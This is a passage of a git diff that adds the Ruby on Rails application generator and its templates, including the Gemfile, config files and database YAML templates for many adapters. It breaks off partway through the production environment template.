+ build(:readme)
+ build(:rakefile)
+ build(:configru)
+ build(:gitignore) unless options[:skip_git]
+ build(:gemfile) unless options[:skip_gemfile]
+ end
+
+ def create_app_files
+ build(:app)
+ end
+
+ def create_bin_files
+ build(:bin)
+ end
+
+ def create_config_files
+ build(:config)
+ end
+
+ def create_boot_file
+ template "config/boot.rb"
+ end
+
+ def create_active_record_files
+ return if options[:skip_active_record]
+ build(:database_yml)
+ end
+
+ def create_db_files
+ build(:db)
+ end
+
+ def create_lib_files
+ build(:lib)
+ end
+
+ def create_log_files
+ build(:log)
+ end
+
+ def create_public_files
+ build(:public_directory)
+ end
+
+ def create_test_files
+ build(:test) unless options[:skip_test_unit]
+ end
+
+ def create_tmp_files
+ build(:tmp)
+ end
+
+ def create_vendor_files
+ build(:vendor)
+ end
+
+ def finish_template
+ build(:leftovers)
+ end
+
+ public_task :apply_rails_template, :run_bundle
+
+ protected
+
+ def self.banner
+ "rails new #{self.arguments.map(&:usage).join(' ')} [options]"
+ end
+
+ # Define file as an alias to create_file for backwards compatibility.
+ def file(*args, &block)
+ create_file(*args, &block)
+ end
+
+ def app_name
+ @app_name ||= (defined_app_const_base? ? defined_app_name : File.basename(destination_root)).tr(".", "_")
+ end
+
+ def defined_app_name
+ defined_app_const_base.underscore
+ end
+
+ def defined_app_const_base
+ Rails.respond_to?(:application) && defined?(Rails::Application) &&
+ Rails.application.is_a?(Rails::Application) && Rails.application.class.name.sub(/::Application$/, "")
+ end
+
+ alias :defined_app_const_base? :defined_app_const_base
+
+ def app_const_base
+ @app_const_base ||= defined_app_const_base || app_name.gsub(/\W/, '_').squeeze('_').camelize
+ end
+ alias :camelized :app_const_base
+
+ def app_const
+ @app_const ||= "#{app_const_base}::Application"
+ end
+
+ def valid_const?
+ if app_const =~ /^\d/
+ raise Error, "Invalid application name #{app_name}. Please give a name which does not start with numbers."
+ elsif RESERVED_NAMES.include?(app_name)
+ raise Error, "Invalid application name #{app_name}. Please give a name which does not match one of the reserved rails words."
+ elsif Object.const_defined?(app_const_base)
+ raise Error, "Invalid application name #{app_name}, constant #{app_const_base} is already in use. Please choose another application name."
+ end
+ end
+
+ def app_secret
+ SecureRandom.hex(64)
+ end
+
+ def mysql_socket
+ @mysql_socket ||= [
+ "/tmp/mysql.sock", # default
+ "/var/run/mysqld/mysqld.sock", # debian/gentoo
+ "/var/tmp/mysql.sock", # freebsd
+ "/var/lib/mysql/mysql.sock", # fedora
+ "/opt/local/lib/mysql/mysql.sock", # fedora
+ "/opt/local/var/run/mysqld/mysqld.sock", # mac + darwinports + mysql
+ "/opt/local/var/run/mysql4/mysqld.sock", # mac + darwinports + mysql4
+ "/opt/local/var/run/mysql5/mysqld.sock", # mac + darwinports + mysql5
+ "/opt/lampp/var/mysql/mysql.sock" # xampp for linux
+ ].find { |f| File.exist?(f) } unless RbConfig::CONFIG['host_os'] =~ /mswin|mingw/
+ end
+
+ def get_builder_class
+ defined?(::AppBuilder) ? ::AppBuilder : Rails::AppBuilder
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/Gemfile b/railties/lib/rails/generators/rails/app/templates/Gemfile
new file mode 100644
index 0000000..ace804f
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/Gemfile
@@ -0,0 +1,32 @@
+source 'https://rubygems.org'
+
+<%= rails_gemfile_entry -%>
+
+<%= database_gemfile_entry -%>
+
+<%= "gem 'jruby-openssl'\n" if defined?(JRUBY_VERSION) -%>
+
+<%= assets_gemfile_entry %>
+<%= javascript_gemfile_entry -%>
+
+# Build JSON APIs with ease. Read more: https://github.com/rails/jbuilder
+gem 'jbuilder', '~> 1.0.1'
+
+group :doc do
+ # bundle exec rake doc:rails generates the API under doc/api.
+ gem 'sdoc', require: false
+end
+
+# Use ActiveModel has_secure_password
+# gem 'bcrypt-ruby', '~> 3.0.0'
+
+# Use unicorn as the app server
+# gem 'unicorn'
+
+# Use Capistrano for deployment
+# gem 'capistrano', group: :development
+
+<% unless defined?(JRUBY_VERSION) -%>
+# Use debugger
+# gem 'debugger', group: [:development, :test]
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/app/templates/README.rdoc b/railties/lib/rails/generators/rails/app/templates/README.rdoc
new file mode 100644
index 0000000..dd4e97e
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/README.rdoc
@@ -0,0 +1,28 @@
+== README
+
+This README would normally document whatever steps are necessary to get the
+application up and running.
+
+Things you may want to cover:
+
+* Ruby version
+
+* System dependencies
+
+* Configuration
+
+* Database creation
+
+* Database initialization
+
+* How to run the test suite
+
+* Services (job queues, cache servers, search engines, etc.)
+
+* Deployment instructions
+
+* ...
+
+
+Please feel free to use a different markup language if you do not plan to run
+<tt>rake doc:app</tt>.
diff --git a/railties/lib/rails/generators/rails/app/templates/Rakefile b/railties/lib/rails/generators/rails/app/templates/Rakefile
new file mode 100644
index 0000000..6eb23f6
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/Rakefile
@@ -0,0 +1,6 @@
+# Add your own tasks in files placed in lib/tasks ending in .rake,
+# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake.
+
+require File.expand_path('../config/application', __FILE__)
+
+<%= app_const %>.load_tasks
diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/images/.keep b/railties/lib/rails/generators/rails/app/templates/app/assets/images/.keep
new file mode 100644
index 0000000..e69de29
diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt b/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt
new file mode 100644
index 0000000..7342bff
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt
@@ -0,0 +1,18 @@
+// This is a manifest file that'll be compiled into application.js, which will include all the files
+// listed below.
+//
+// Any JavaScript/Coffee file within this directory, lib/assets/javascripts, vendor/assets/javascripts,
+// or vendor/assets/javascripts of plugins, if any, can be referenced here using a relative path.
+//
+// It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the
+// compiled file.
+//
+// WARNING: THE FIRST BLANK LINE MARKS THE END OF WHAT'S TO BE PROCESSED, ANY BLANK LINE SHOULD
+// GO AFTER THE REQUIRES BELOW.
+//
+<% unless options[:skip_javascript] -%>
+//= require <%= options[:javascript] %>
+//= require <%= options[:javascript] %>_ujs
+//= require turbolinks
+<% end -%>
+//= require_tree .
diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css
new file mode 100644
index 0000000..3192ec8
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css
@@ -0,0 +1,13 @@
+/*
+ * This is a manifest file that'll be compiled into application.css, which will include all the files
+ * listed below.
+ *
+ * Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets,
+ * or vendor/assets/stylesheets of plugins, if any, can be referenced here using a relative path.
+ *
+ * You're free to add application-wide styles to this file and they'll appear at the top of the
+ * compiled file, but it's generally better to create a new file per style scope.
+ *
+ *= require_self
+ *= require_tree .
+ */
diff --git a/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb.tt b/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb.tt
new file mode 100644
index 0000000..d83690e
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb.tt
@@ -0,0 +1,5 @@
+class ApplicationController < ActionController::Base
+ # Prevent CSRF attacks by raising an exception.
+ # For APIs, you may want to use :null_session instead.
+ protect_from_forgery with: :exception
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/app/helpers/application_helper.rb b/railties/lib/rails/generators/rails/app/templates/app/helpers/application_helper.rb
new file mode 100644
index 0000000..de6be79
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/app/helpers/application_helper.rb
@@ -0,0 +1,2 @@
+module ApplicationHelper
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt
new file mode 100644
index 0000000..d87c7b7
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt
@@ -0,0 +1,14 @@
+<!DOCTYPE html>
+<html>
+<head>
+ <title><%= camelized %></title>
+ <%%= stylesheet_link_tag "application", media: "all", "data-turbolinks-track" => true %>
+ <%%= javascript_include_tag "application", "data-turbolinks-track" => true %>
+ <%%= csrf_meta_tags %>
+</head>
+<body>
+
+<%%= yield %>
+
+</body>
+</html>
diff --git a/railties/lib/rails/generators/rails/app/templates/bin/bundle b/railties/lib/rails/generators/rails/app/templates/bin/bundle
new file mode 100644
index 0000000..1123dcf
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/bin/bundle
@@ -0,0 +1,2 @@
+ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
+load Gem.bin_path('bundler', 'bundle')
diff --git a/railties/lib/rails/generators/rails/app/templates/bin/rails b/railties/lib/rails/generators/rails/app/templates/bin/rails
new file mode 100644
index 0000000..6a128b9
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/bin/rails
@@ -0,0 +1,3 @@
+APP_PATH = File.expand_path('../../config/application', __FILE__)
+require_relative '../config/boot'
+require 'rails/commands'
diff --git a/railties/lib/rails/generators/rails/app/templates/bin/rake b/railties/lib/rails/generators/rails/app/templates/bin/rake
new file mode 100644
index 0000000..d14fc83
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/bin/rake
@@ -0,0 +1,3 @@
+require_relative '../config/boot'
+require 'rake'
+Rake.application.run
diff --git a/railties/lib/rails/generators/rails/app/templates/config.ru b/railties/lib/rails/generators/rails/app/templates/config.ru
new file mode 100644
index 0000000..5bc2a61
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config.ru
@@ -0,0 +1,4 @@
+# This file is used by Rack-based servers to start the application.
+
+require ::File.expand_path('../config/environment', __FILE__)
+run Rails.application
diff --git a/railties/lib/rails/generators/rails/app/templates/config/application.rb b/railties/lib/rails/generators/rails/app/templates/config/application.rb
new file mode 100644
index 0000000..ceb2bdf
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/application.rb
@@ -0,0 +1,37 @@
+require File.expand_path('../boot', __FILE__)
+
+<% if include_all_railties? -%>
+require 'rails/all'
+<% else -%>
+# Pick the frameworks you want:
+<%= comment_if :skip_active_record %>require "active_record/railtie"
+require "action_controller/railtie"
+require "action_mailer/railtie"
+<%= comment_if :skip_sprockets %>require "sprockets/railtie"
+<%= comment_if :skip_test_unit %>require "rails/test_unit/railtie"
+<% end -%>
+
+# Require the gems listed in Gemfile, including any gems
+# you've limited to :test, :development, or :production.
+Bundler.require(:default, Rails.env)
+
+module <%= app_const_base %>
+ class Application < Rails::Application
+ # Settings in config/environments/* take precedence over those specified here.
+ # Application configuration should go into files in config/initializers
+ # -- all .rb files in that directory are automatically loaded.
+
+ # Set Time.zone default to the specified zone and make Active Record auto-convert to this zone.
+ # Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC.
+ # config.time_zone = 'Central Time (US & Canada)'
+
+ # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
+ # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
+ # config.i18n.default_locale = :de
+<% if options.skip_sprockets? -%>
+
+ # Disable the asset pipeline.
+ config.assets.enabled = false
+<% end -%>
+ end
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/boot.rb b/railties/lib/rails/generators/rails/app/templates/config/boot.rb
new file mode 100644
index 0000000..3596736
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/boot.rb
@@ -0,0 +1,4 @@
+# Set up gems listed in the Gemfile.
+ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
+
+require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml
new file mode 100644
index 0000000..4807986
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml
@@ -0,0 +1,31 @@
+# FrontBase versions 4.x
+#
+# Get the bindings:
+# gem install ruby-frontbase
+#
+# Configure Using Gemfile
+# gem 'ruby-frontbase'
+#
+development:
+ adapter: frontbase
+ host: localhost
+ database: <%= app_name %>_development
+ username: <%= app_name %>
+ password: ''
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+ adapter: frontbase
+ host: localhost
+ database: <%= app_name %>_test
+ username: <%= app_name %>
+ password: ''
+
+production:
+ adapter: frontbase
+ host: localhost
+ database: <%= app_name %>_production
+ username: <%= app_name %>
+ password: ''
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml
new file mode 100644
index 0000000..3d689a1
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml
@@ -0,0 +1,86 @@
+# IBM Dataservers
+#
+# Home Page
+# http://rubyforge.org/projects/rubyibm/
+#
+# To install the ibm_db gem:
+#
+# On Linux:
+# . /home/db2inst1/sqllib/db2profile
+# export IBM_DB_INCLUDE=/opt/ibm/db2/V9.7/include
+# export IBM_DB_LIB=/opt/ibm/db2/V9.7/lib32
+# gem install ibm_db
+#
+# On Mac OS X 10.5:
+# . /home/db2inst1/sqllib/db2profile
+# export IBM_DB_INCLUDE=/opt/ibm/db2/V9.7/include
+# export IBM_DB_LIB=/opt/ibm/db2/V9.7/lib32
+# export ARCHFLAGS="-arch i386"
+# gem install ibm_db
+#
+# On Mac OS X 10.6:
+# . /home/db2inst1/sqllib/db2profile
+# export IBM_DB_INCLUDE=/opt/ibm/db2/V9.7/include
+# export IBM_DB_LIB=/opt/ibm/db2/V9.7/lib64
+# export ARCHFLAGS="-arch x86_64"
+# gem install ibm_db
+#
+# On Windows:
+# Issue the command: gem install ibm_db
+#
+# Configure Using Gemfile
+# gem 'ibm_db'
+#
+# For more details on the installation and the connection parameters below,
+# please refer to the latest documents at http://rubyforge.org/docman/?group_id=2361
+
+development:
+ adapter: ibm_db
+ username: db2inst1
+ password:
+ database: <%= app_name[0,4] %>_dev
+ #schema: db2inst1
+ #host: localhost
+ #port: 50000
+ #account: my_account
+ #app_user: my_app_user
+ #application: my_application
+ #workstation: my_workstation
+ #security: SSL
+ #timeout: 10
+ #authentication: SERVER
+ #parameterized: false
+
+test:
+ adapter: ibm_db
+ username: db2inst1
+ password:
+ database: <%= app_name[0,4] %>_tst
+ #schema: db2inst1
+ #host: localhost
+ #port: 50000
+ #account: my_account
+ #app_user: my_app_user
+ #application: my_application
+ #workstation: my_workstation
+ #security: SSL
+ #timeout: 10
+ #authentication: SERVER
+ #parameterized: false
+
+production:
+ adapter: ibm_db
+ username: db2inst1
+ password:
+ database: <%= app_name[0,8] %>
+ #schema: db2inst1
+ #host: localhost
+ #port: 50000
+ #account: my_account
+ #app_user: my_app_user
+ #application: my_application
+ #workstation: my_workstation
+ #security: SSL
+ #timeout: 10
+ #authentication: SERVER
+ #parameterized: false
\ No newline at end of file
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml
new file mode 100644
index 0000000..1d2bf08
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml
@@ -0,0 +1,62 @@
+# If you are using mssql, derby, hsqldb, or h2 with one of the
+# ActiveRecord JDBC adapters, install the appropriate driver, e.g.,:
+# gem install activerecord-jdbcmssql-adapter
+#
+# Configure using Gemfile:
+# gem 'activerecord-jdbcmssql-adapter'
+#
+#development:
+# adapter: mssql
+# username: <%= app_name %>
+# password:
+# host: localhost
+# database: <%= app_name %>_development
+#
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+#
+#test:
+# adapter: mssql
+# username: <%= app_name %>
+# password:
+# host: localhost
+# database: <%= app_name %>_test
+#
+#production:
+# adapter: mssql
+# username: <%= app_name %>
+# password:
+# host: localhost
+# database: <%= app_name %>_production
+
+# If you are using oracle, db2, sybase, informix or prefer to use the plain
+# JDBC adapter, configure your database setting as the example below (requires
+# you to download and manually install the database vendor's JDBC driver .jar
+# file). See your driver documentation for the apropriate driver class and
+# connection string:
+
+development:
+ adapter: jdbc
+ username: <%= app_name %>
+ password:
+ driver:
+ url: jdbc:db://localhost/<%= app_name %>_development
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+
+test:
+ adapter: jdbc
+ username: <%= app_name %>
+ password:
+ driver:
+ url: jdbc:db://localhost/<%= app_name %>_test
+
+production:
+ adapter: jdbc
+ username: <%= app_name %>
+ password:
+ driver:
+ url: jdbc:db://localhost/<%= app_name %>_production
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml
new file mode 100644
index 0000000..5a594ac
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml
@@ -0,0 +1,33 @@
+# MySQL. Versions 4.1 and 5.0 are recommended.
+#
+# Install the MySQL driver:
+# gem install activerecord-jdbcmysql-adapter
+#
+# Configure Using Gemfile
+# gem 'activerecord-jdbcmysql-adapter'
+#
+# And be sure to use new-style password hashing:
+# http://dev.mysql.com/doc/refman/5.0/en/old-client.html
+development:
+ adapter: mysql
+ database: <%= app_name %>_development
+ username: root
+ password:
+ host: localhost
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+ adapter: mysql
+ database: <%= app_name %>_test
+ username: root
+ password:
+ host: localhost
+
+production:
+ adapter: mysql
+ database: <%= app_name %>_production
+ username: root
+ password:
+ host: localhost
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml
new file mode 100644
index 0000000..e1a00d0
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml
@@ -0,0 +1,43 @@
+# PostgreSQL. Versions 8.2 and up are supported.
+#
+# Configure Using Gemfile
+# gem 'activerecord-jdbcpostgresql-adapter'
+
+development:
+ adapter: postgresql
+ encoding: unicode
+ database: <%= app_name %>_development
+ username: <%= app_name %>
+ password:
+
+ # Connect on a TCP socket. Omitted by default since the client uses a
+ # domain socket that doesn't need configuration. Windows does not have
+ # domain sockets, so uncomment these lines.
+ #host: localhost
+ #port: 5432
+
+ # Schema search path. The server defaults to $user,public
+ #schema_search_path: myapp,sharedapp,public
+
+ # Minimum log levels, in increasing order:
+ # debug5, debug4, debug3, debug2, debug1,
+ # log, notice, warning, error, fatal, and panic
+ # Defaults to warning.
+ #min_messages: notice
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+ adapter: postgresql
+ encoding: unicode
+ database: <%= app_name %>_test
+ username: <%= app_name %>
+ password:
+
+production:
+ adapter: postgresql
+ encoding: unicode
+ database: <%= app_name %>_production
+ username: <%= app_name %>
+ password:
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml
new file mode 100644
index 0000000..175f3eb
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml
@@ -0,0 +1,20 @@
+# SQLite version 3.x
+# gem 'activerecord-jdbcsqlite3-adapter'
+#
+# Configure Using Gemfile
+# gem 'activerecord-jdbcsqlite3-adapter'
+#
+development:
+ adapter: sqlite3
+ database: db/development.sqlite3
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+ adapter: sqlite3
+ database: db/test.sqlite3
+
+production:
+ adapter: sqlite3
+ database: db/production.sqlite3
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml
new file mode 100644
index 0000000..c334991
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml
@@ -0,0 +1,51 @@
+# MySQL. Versions 4.1 and 5.0 are recommended.
+#
+# Install the MYSQL driver
+# gem install mysql2
+#
+# Ensure the MySQL gem is defined in your Gemfile
+# gem 'mysql2'
+#
+# And be sure to use new-style password hashing:
+# http://dev.mysql.com/doc/refman/5.0/en/old-client.html
+development:
+ adapter: mysql2
+ encoding: utf8
+ database: <%= app_name %>_development
+ pool: 5
+ username: root
+ password:
+<% if mysql_socket -%>
+ socket: <%= mysql_socket %>
+<% else -%>
+ host: localhost
+<% end -%>
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+ adapter: mysql2
+ encoding: utf8
+ database: <%= app_name %>_test
+ pool: 5
+ username: root
+ password:
+<% if mysql_socket -%>
+ socket: <%= mysql_socket %>
+<% else -%>
+ host: localhost
+<% end -%>
+
+production:
+ adapter: mysql2
+ encoding: utf8
+ database: <%= app_name %>_production
+ pool: 5
+ username: root
+ password:
+<% if mysql_socket -%>
+ socket: <%= mysql_socket %>
+<% else -%>
+ host: localhost
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml
new file mode 100644
index 0000000..b661a60
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml
@@ -0,0 +1,39 @@
+# Oracle/OCI 8i, 9, 10g
+#
+# Requires Ruby/OCI8:
+# http://rubyforge.org/projects/ruby-oci8/
+#
+# Specify your database using any valid connection syntax, such as a
+# tnsnames.ora service name, or an SQL connect string of the form:
+#
+# //host:[port][/service name]
+#
+# By default prefetch_rows (OCI_ATTR_PREFETCH_ROWS) is set to 100. And
+# until true bind variables are supported, cursor_sharing is set by default
+# to 'similar'. Both can be changed in the configuration below; the defaults
+# are equivalent to specifying:
+#
+# prefetch_rows: 100
+# cursor_sharing: similar
+#
+
+development:
+ adapter: oracle
+ database: <%= app_name %>_development
+ username: <%= app_name %>
+ password:
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+ adapter: oracle
+ database: <%= app_name %>_test
+ username: <%= app_name %>
+ password:
+
+production:
+ adapter: oracle
+ database: <%= app_name %>_production
+ username: <%= app_name %>
+ password:
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml
new file mode 100644
index 0000000..eb569b7
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml
@@ -0,0 +1,60 @@
+# PostgreSQL. Versions 8.2 and up are supported.
+#
+# Install the pg driver:
+# gem install pg
+# On OS X with Homebrew:
+# gem install pg -- --with-pg-config=/usr/local/bin/pg_config
+# On OS X with MacPorts:
+# gem install pg -- --with-pg-config=/opt/local/lib/postgresql84/bin/pg_config
+# On Windows:
+# gem install pg
+# Choose the win32 build.
+# Install PostgreSQL and put its /bin directory on your path.
+#
+# Configure Using Gemfile
+# gem 'pg'
+#
+development:
+ adapter: postgresql
+ encoding: unicode
+ database: <%= app_name %>_development
+ pool: 5
+ username: <%= app_name %>
+ password:
+
+ # Connect on a TCP socket. Omitted by default since the client uses a
+ # domain socket that doesn't need configuration. Windows does not have
+ # domain sockets, so uncomment these lines.
+ #host: localhost
+
+ # The TCP port the server listens on. Defaults to 5432.
+ # If your server runs on a different port number, change accordingly.
+ #port: 5432
+
+ # Schema search path. The server defaults to $user,public
+ #schema_search_path: myapp,sharedapp,public
+
+ # Minimum log levels, in increasing order:
+ # debug5, debug4, debug3, debug2, debug1,
+ # log, notice, warning, error, fatal, and panic
+ # Defaults to warning.
+ #min_messages: notice
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+ adapter: postgresql
+ encoding: unicode
+ database: <%= app_name %>_test
+ pool: 5
+ username: <%= app_name %>
+ password:
+
+production:
+ adapter: postgresql
+ encoding: unicode
+ database: <%= app_name %>_production
+ pool: 5
+ username: <%= app_name %>
+ password:
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml
new file mode 100644
index 0000000..51a4dd4
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml
@@ -0,0 +1,25 @@
+# SQLite version 3.x
+# gem install sqlite3
+#
+# Ensure the SQLite 3 gem is defined in your Gemfile
+# gem 'sqlite3'
+development:
+ adapter: sqlite3
+ database: db/development.sqlite3
+ pool: 5
+ timeout: 5000
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+ adapter: sqlite3
+ database: db/test.sqlite3
+ pool: 5
+ timeout: 5000
+
+production:
+ adapter: sqlite3
+ database: db/production.sqlite3
+ pool: 5
+ timeout: 5000
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml
new file mode 100644
index 0000000..7ef89d6
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml
@@ -0,0 +1,57 @@
+# SQL Server (2005 or higher recommended)
+#
+# Install the adapters and driver
+# gem install tiny_tds
+# gem install activerecord-sqlserver-adapter
+#
+# Ensure the activerecord adapter and db driver gems are defined in your Gemfile
+# gem 'tiny_tds'
+# gem 'activerecord-sqlserver-adapter'
+#
+# You should make sure freetds is configured correctly first.
+# freetds.conf contains host/port/protocol_versions settings.
+# http://freetds.schemamania.org/userguide/freetdsconf.htm
+#
+# A typical Microsoft server
+# [mssql]
+# host = mssqlserver.yourdomain.com
+# port = 1433
+# tds version = 7.1
+
+# If you can connect with "tsql -S servername", your basic FreeTDS installation is working.
+# 'man tsql' for more info
+# Set timeout to a larger number if valid queries against a live db fail
+
+development:
+ adapter: sqlserver
+ encoding: utf8
+ reconnect: false
+ database: <%= app_name %>_development
+ username: <%= app_name %>
+ password:
+ timeout: 25
+ dataserver: from_freetds.conf
+
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+ adapter: sqlserver
+ encoding: utf8
+ reconnect: false
+ database: <%= app_name %>_test
+ username: <%= app_name %>
+ password:
+ timeout: 25
+ dataserver: from_freetds.conf
+
+production:
+ adapter: sqlserver
+ encoding: utf8
+ reconnect: false
+ database: <%= app_name %>_production
+ username: <%= app_name %>
+ password:
+ timeout: 25
+ dataserver: from_freetds.conf
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environment.rb b/railties/lib/rails/generators/rails/app/templates/config/environment.rb
new file mode 100644
index 0000000..e080ebd
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/environment.rb
@@ -0,0 +1,5 @@
+# Load the rails application.
+require File.expand_path('../application', __FILE__)
+
+# Initialize the rails application.
+<%= app_const %>.initialize!
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
new file mode 100644
index 0000000..8b64881
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
@@ -0,0 +1,33 @@
+<%= app_const %>.configure do
+ # Settings specified here will take precedence over those in config/application.rb.
+
+ # In the development environment your application's code is reloaded on
+ # every request. This slows down response time but is perfect for development
+ # since you don't have to restart the web server when you make code changes.
+ config.cache_classes = false
+
+ # Do not eager load code on boot.
+ config.eager_load = false
+
+ # Show full error reports and disable caching.
+ config.consider_all_requests_local = true
+ config.action_controller.perform_caching = false
+
+ # Don't care if the mailer can't send.
+ config.action_mailer.raise_delivery_errors = false
+
+ # Print deprecation notices to the Rails logger.
+ config.active_support.deprecation = :log
+
+ <%- unless options.skip_active_record? -%>
+ # Raise an error on page load if there are pending migrations
+ config.active_record.migration_error = :page_load
+ <%- end -%>
+
+ <%- unless options.skip_sprockets? -%>
+ # Debug mode disables concatenation and preprocessing of assets.
+ # This option may cause significant delays in view rendering with a large
+ # number of complex assets.
+ config.assets.debug = true
+ <%- end -%>
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
new file mode 100644
index 0000000..c40eef1
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
@@ -0,0 +1,84 @@
+<%= app_const %>.configure do
+ # Settings specified here will take precedence over those in config/application.rb.
+
+ # Code is not reloaded between requests.
+ config.cache_classes = true
+
+ # Eager load code on boot. This eager loads most of Rails and
+ # your application in memory, allowing both thread web servers
+ # and those relying on copy on write to perform better.
+ # Rake tasks automatically ignore this option for performance.
+ config.eager_load = true
+
+ # Full error reports are disabled and caching is turned on.
+ config.consider_all_requests_local = false
+ config.action_controller.perform_caching = true
+
+ # Enable Rack::Cache to put a simple HTTP cache in front of your application
